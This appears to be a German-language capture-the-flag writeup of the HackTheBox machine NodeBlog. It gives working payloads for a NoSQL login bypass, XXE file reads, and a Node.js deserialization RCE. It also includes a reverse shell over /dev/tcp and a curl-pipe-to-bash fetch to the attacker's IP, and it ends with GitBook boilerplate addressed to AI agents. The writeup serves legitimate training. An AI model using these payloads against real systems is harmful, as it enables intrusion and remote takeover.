> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md).

# NodeBlog HackTheBox Writeup

Writeup zur HackTheBox-Easy-Linux-Maschine NodeBlog mit Abdeckung von NoSQL-Injection (Authentifizierungs-Bypass), XXE-Dateilesen, NodeJS-Deserialisierungsangriff (Missbrauch von IIFE), Mongo-Datenbank-Enumeration, mit praktischer

{% embed url="<https://app.hackthebox.com/machines/NodeBlog>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* NoSQL-Injection (Authentifizierungsumgehung)
* XXE-Dateilesen
* NodeJS-Deserialisierungsangriff (IIFE-Missbrauch)
* Mongo-Datenbank-Enumeration
  {% endhint %}

## Aufklärung

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a37c0d9ff81cbbbabf5497b0c9df2c13ee3af4ac%2Fimage%20(2881).png?alt=media" alt=""><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.139
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f41680318d94ca2816f02407e888b92d9f25445d%2Fimage%20(2882).png?alt=media" alt=""><figcaption></figcaption></figure>

Portversionsscan mit Nmap 22.5000

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,5000 10.10.11.139 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9802aba7edc682744d4f34f043ded383ecb08ef2%2Fimage%20(2883).png?alt=media" alt=""><figcaption></figcaption></figure>

### Analyse von Port 5000 - NodeJS-Anwendung

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5962fd41a6c913ad5944708e4743c06553f974c4%2Fimage%20(2884).png?alt=media" alt=""><figcaption></figcaption></figure>

* Ein Administrationspanel wird entdeckt.
* Das `admin` Benutzer ist gültig.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-827022d04c8924e51804d0cff563cdccb6feb6ba%2Fimage%20(2885).png?alt=media" alt=""><figcaption></figcaption></figure>

## NoSQL-Injection (Authentifizierungsumgehung)

Die Anfrage mit Burp Suite abfangen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c1333ce96e08258f5f54703a0b6cae6321a51803%2Fimage%20(2886).png?alt=media" alt=""><figcaption></figcaption></figure>

Klassische Injection-Payloads testen:

```bash
username=admin&password[$ne]=toto
```

Das funktioniert nicht.

In JSON umwandeln und den `Content-Type` zu ändern `application/json`:

```sql
{
  "user": "admin",
  "password": { "$ne": null }
}
```

Ergebnis: Authentifizierung erfolgreich!

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-867df5221d68233f84b2b1a085c45d568fdd5ef7%2Fimage%20(2887).png?alt=media" alt=""><figcaption></figcaption></figure>

## Ausnutzung der XXE-Injection-Schwachstelle

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-80af2ea4ce0941d799be213686d7be7e92eec4da%2Fimage%20(2888).png?alt=media" alt=""><figcaption></figcaption></figure>

Hochladen einer TXT-Datei: abgelehnt, es werden nur XML-Dateien akzeptiert.

```
Hallo, dies ist ein Test
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f53bbf8cdb2e0ab761903fe128265bc6a644f0a%2Fimage%20(2889).png?alt=media" alt=""><figcaption></figcaption></figure>

Erforderliches Format:

```xml
<post>
    <title>Beispielbeitrag</title>
    <description>Beispielbeschreibung</description>
    <markdown>Beispiel-Markdown</markdown>
</post>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11bafd4b72dc94415155bebd1c91033704f8b182%2Fimage%20(2890).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea4846c5186c1369109a1ac673b8776d5f54248f%2Fimage%20(2892).png?alt=media" alt=""><figcaption></figcaption></figure>

Senden einer XML-Datei mit einer externen Entität zum Lesen `/etc/passwd`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<post>
    <title>Beispielbeitrag</title>
    <description>Beispielbeschreibung</description>
    <markdown>&xxe;</markdown>
</post>
```

Ergebnis: Der Inhalt von `/etc/passwd` wird angezeigt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a1b719db00f4a7f3fcde233e3f8f67a12e1feaf%2Fimage%20(2893).png?alt=media" alt=""><figcaption></figcaption></figure>

* Entdeckung eines Benutzers `admin`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-64202dc5277cc5b218c1e77460bfca4982e2a839%2Fimage%20(2894).png?alt=media" alt=""><figcaption></figcaption></figure>

Injection zum Lesen `/opt/blog/server.js` und gespeicherte Zugangsdaten identifizieren.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd69d9c7adcc3b5523ce0077713d0fe87e6d9e80%2Fimage%20(2895).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///opt/blog/server.js" >]>
<post>
    <title>Beispielbeitrag</title>
    <description>Beispielbeschreibung</description>
    <markdown>&xxe;</markdown>
</post>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-540e6a5388312c3aae7c67bd6e2a8570f01c8578%2Fimage%20(2896).png?alt=media" alt=""><figcaption></figcaption></figure>

## Ausnutzen der NodeJS-Deserialisierung

* Eine Funktion entdeckt, die Session-Cookies deserialisiert.

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b2f915aa429e18b3c30348763cee1174ee7b0ed%2Fimage%20(2897).png?alt=media" alt=""><figcaption></figcaption></figure></div>

Erstellen eines Payloads:

{% code overflow="wrap" %}

```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 1 10.10.14.61', function(error, stdout, stderr) { console.log(stdout) }); }()"}
```

{% endcode %}

ICMP-Verkehr abhören mit:

```bash
tcpdump -i tun0 icmp -n
```

* URL-kodieren:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-29f480cfb0cc159cd0950d7da9bb76c1261ba912%2F%7BBAFDCE09-9711-4185-BB24-4A0E4DAC5F49%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%70%69%6e%67%20%2d%63%20%31%20%31%30%2e%31%30%2e%31%34%2e%32%38%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d
```

{% endcode %}

Erstellung einer RCE über URL-Encoding und Injection in Cookies.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f4f7d457a0c99906352591228b261120bb46f3b4%2Fimage%20(2899).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
tcpdump -i tun0 icmp -n
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c684d467429d0754df6691b4af413cb2371272a8%2Fimage%20(2900).png?alt=media" alt=""><figcaption></figcaption></figure>

### RCE - Deserialisierungs-Schwachstelle (nodejs)

Erstellen eines `index.html` Reverse-Shell-Skripts:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.61/443 0>&1
```

Starten eines HTTP-Servers:

```bash
python3 -m http.server 80
```

Abhören:

```bash
nc -nlvp 443
```

#### Senden des Payloads :

{% code overflow="wrap" %}

```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://10.10.14.61 | bash', function(error, stdout, stderr) { console.log(stdout) }); }()"}
```

{% endcode %}

* URL-kodieren:

{% code overflow="wrap" %}

```
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%34%2e%36%31%20%7c%20%62%61%73%68%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d
```

{% endcode %}

Ergebnis: Shell-Zugriff erlangt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c772ca0a204fd7778d0a4b079c503518620f7d15%2F%7BCB6EA705-F2D9-4542-971F-3B1D69444078%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1af62d3af8110eacc95d0d495f96da394c557f75%2F%7BFACA0D49-E8B1-4BC8-9B44-700ECB4257D2%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Privilegieneskalation

### Mongo-Datenbank-Enumeration

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71e7bd028c7fed59621fba78814ccde10e9e52e3%2Fimage%20(2901).png?alt=media" alt=""><figcaption></figcaption></figure>

Verbindung zur MongoDB-Datenbank (Port 27017 offen):

```bash
mongo
show dbs
use blog
show tables
db.users.find()
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1da7c69cefc94c24ceb5217c2a8eff1d8f873ab0%2F%7B441FD16F-EA2F-475A-880B-885A5078D262%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* Benutzer: admin
* Passwort : IppsecSaysPleaseSubscribe

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f323aa4653ca82859b91b61ee3f34bda34d7f1d7%2F%7BB0D869E1-98AD-45C8-A37A-0CD27A912A0D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Sudo (ALL:ALL)

Sudo-Berechtigungen prüfen:

```bash
sudo -l
```

Ergebnis: Der Admin-Benutzer kann ausführen `sudo su` ohne Passwort.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-958a73dfe7eceb591e0cbc1c5b88c636126bc91c%2F%7B2821239A-231F-4C9C-AA64-355C2E6C41C6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wechsel zu root :

```bash
sudo su
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6dbad48ebbaab123f06af4cdd78dcb938bd8a022%2F%7BAB86238C-A02B-4D9F-994E-B6A19AF2CB61%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### root.txt-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f804261d599f2829475d34d78c48af558c174fb8%2F%7B0F6DAC41-586A-43A2-9397-BD19E9AE9317%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-da24b25faa9c14c66547beb0056c61ed9494f1e2%2F%7B69843223-DFF0-46EB-B85C-B1E9FB04275A%7D.png?alt=media" alt="" width="338"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
